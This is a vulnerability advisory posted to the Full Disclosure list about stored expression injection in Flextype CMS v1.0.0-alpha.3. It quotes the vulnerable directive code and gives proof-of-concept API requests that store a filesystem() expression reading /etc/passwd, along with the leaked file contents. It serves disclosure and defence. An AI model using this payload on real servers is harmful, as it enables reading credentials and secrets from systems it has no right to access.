From: Ron E <ronaldjedgerson () gmail com>
Date: Sun, 30 Aug 2026 22:09:12 -0400
Description
Flextype CMS v1.0.0-alpha.3 contains a stored arbitrary expression
injection vulnerability in the Entries ExpressionsDirective. An
authenticated remote attacker with sufficient privileges to create or
modify entries can persist arbitrary expression syntax within an entry
field. When the affected field is subsequently retrieved or processed,
Flextype passes the stored value to parsers()->expressions()->parse(),
causing the attacker-controlled expression to be evaluated server-side.
The expression environment exposes application functionality including the
filesystem() object. An attacker can therefore store an expression that
accesses arbitrary files readable by the Flextype PHP process. Testing
confirmed exploitation by storing an expression referencing /etc/passwd
within an entry's title field. The expression remained persisted within the
underlying entry file and was evaluated when the entry was processed,
resulting in disclosure of /etc/passwd.
This represents a stored execution path because the expression itself
crosses the persistence boundary and remains within the entry rather than
requiring the attacker to supply the complete expression during each
subsequent request.
Impact
An authenticated remote attacker can persist arbitrary expressions within
Flextype entry fields that are subsequently evaluated by the server-side
expression engine.
The demonstrated vulnerability allows arbitrary files accessible to the
Flextype PHP process to be read. This could expose sensitive server-side
information including application configuration files, credentials, API
keys, database connection information, source code, operating-system
information, and other secrets available to the application account.
Because the malicious expression is persisted within the entry, subsequent
processing of the affected field can cause the expression to be evaluated
again. Additional impact may be possible depending on the objects and
functionality exposed to the expression environment.
DetailsVulnerable Expressions Directive Implementation
Flextype registers an onEntriesFetchSingleField listener responsible for
processing expressions contained within individual entry fields.
When expression directives and global expression processing are enabled,
the implementation retrieves the current entry field, constructs variables
from the entry data, and passes string field values directly to the
expression parser.
<?php
declare(strict_types=1);
/**
* Flextype - Hybrid Content Management System with the freedom of a
headless CMS
* and with the full functionality of a traditional CMS!
*
* Copyright (c) Sergey Romanenko (https://awilum.github.io)
*
* Licensed under The MIT License.
*
* For full copyright and license information, please see the LICENSE
* Redistributions of files must retain the above copyright notice.
*/
namespace Flextype\Entries\Directives;
use function Glowy\Strings\strings;
use function Flextype\emitter;
use function Flextype\entries;
use function Flextype\parsers;
use function Flextype\registry;
use function Flextype\collection;
// Directive: [[ ]] [% %] [# #]
emitter()->addListener('onEntriesFetchSingleField', static function (): void {
if (! registry()->get('flextype.settings.entries.directives.expressions.enabled'))
{
return;
}
if (! registry()->get('flextype.settings.entries.directives.expressions.enabled_globally'))
{
return;
}
$field = entries()->registry()->get('methods.fetch.field');
if (is_string($field['value']) &&
strings($field['value'])->contains('!expressions')) {
return;
}
$vars = [];
// Convert entry fields to vars.
foreach (json_decode(json_encode((object)
entries()->registry()->get('methods.fetch.result')), false) as $key =>
$value) {
$vars[$key] = $value;
}
if (is_string($field['value'])) {
$field['value'] =
parsers()->expressions()->parse($field['value'], $vars);
}
entries()->registry()->set('methods.fetch.field.key', $field['key']);
entries()->registry()->set('methods.fetch.field.value', $field['value']);
});
The security-sensitive operation occurs when the stored field value is
passed directly to the expression parser:
if (is_string($field['value'])) {
$field['value'] = parsers()->expressions()->parse($field['value'], $vars);
}
Proof of Concept — Store Arbitrary Expression
An authenticated attacker can create an entry through /api/v1/entries and
supply expression syntax within an attacker-controlled field.
The following request places a filesystem() expression within the title
field that reads /etc/passwd:
POST /api/v1/entries HTTP/1.1
Host: 127.0.0.1:18080
Content-Type: application/json
{"token":"lab-token","access_token":"password","id":"expr-api-proof","data":{"title":"[[
filesystem().file('/etc/passwd').get() ]]","content":"created through
API"}}
The application evaluates the supplied expression and returns the contents
of /etc/passwd:
HTTP/1.1 200 OK
Host: 127.0.0.1:18080
Date: Mon, 31 Aug 2026 01:49:16 GMT
Connection: close
X-Powered-By: PHP/8.1.34
Content-Type: application/json;charset=UTF-8
Content-Length: 1141
Access-Control-Allow-Origin: *
{"title":"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing
List
Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\n_apt:x:42:65534::/nonexistent:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n","content":"created
through API","slug":"expr-api-proof","visibility":"visible","id":"expr-api-proof"}
Proof of Concept — Expression Persistence
Inspection of the resulting Flextype entry demonstrates that the expression
itself is persisted on disk rather than being replaced by the evaluated
/etc/passwd contents:
realpath: /app/project/entries/expr-api-proof/entry.md
---
---
title: "[[ filesystem().file('/etc/passwd').get() ]]"
published_by: ''
created_by: ''
uuid: 15420ada-de60-4bc6-b7b2-387df908e0e3
---
created through API
This demonstrates that the expression remains part of the stored entry and
is not limited to a reflected or one-time expression evaluation condition.
Proof of Concept — Stored Expression Evaluation
The stored entry can subsequently be retrieved using its normal entry
identifier without resupplying the expression:
GET /api/v1/entries?token=lab-token&id=expr-api-proof HTTP/1.1
Host: 127.0.0.1:18080
Flextype evaluates the expression previously stored within the entry and
returns the resulting /etc/passwd contents:
HTTP/1.1 200 OK
Host: 127.0.0.1:18080
Date: Mon, 31 Aug 2026 01:49:16 GMT
Connection: close
X-Powered-By: PHP/8.1.34
Content-Type: application/json;charset=UTF-8
Content-Length: 1141
Access-Control-Allow-Origin: *
{"title":"root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing
List
Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\n_apt:x:42:65534::/nonexistent:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n","content":"created
through API","slug":"expr-api-proof","visibility":"visible","id":"expr-api-proof"}
The GET request contains only the normal entry identifier. The expression
responsible for the file read originates from the previously persisted
entry data and is evaluated during subsequent entry processing.
Root Cause
The vulnerability occurs because Flextype treats stored entry content as
executable expression syntax during normal entry processing.
Specifically:
if (is_string($field['value'])) {
$field['value'] = parsers()->expressions()->parse($field['value'], $vars);
}
There is no trust-boundary distinction between ordinary
attacker-controllable entry content and trusted application expressions
before the field value reaches the expression parser.
As a result, data supplied through an entry-management interface can
transition from stored application content into executable server-side
expression syntax.
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development
🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Current thread:
- Flextype v1.0.0-alpha.3 Stored Arbitrary Expression Injection in ExpressionsDirective Allows Arbitrary File Read Ron E (Sep 03)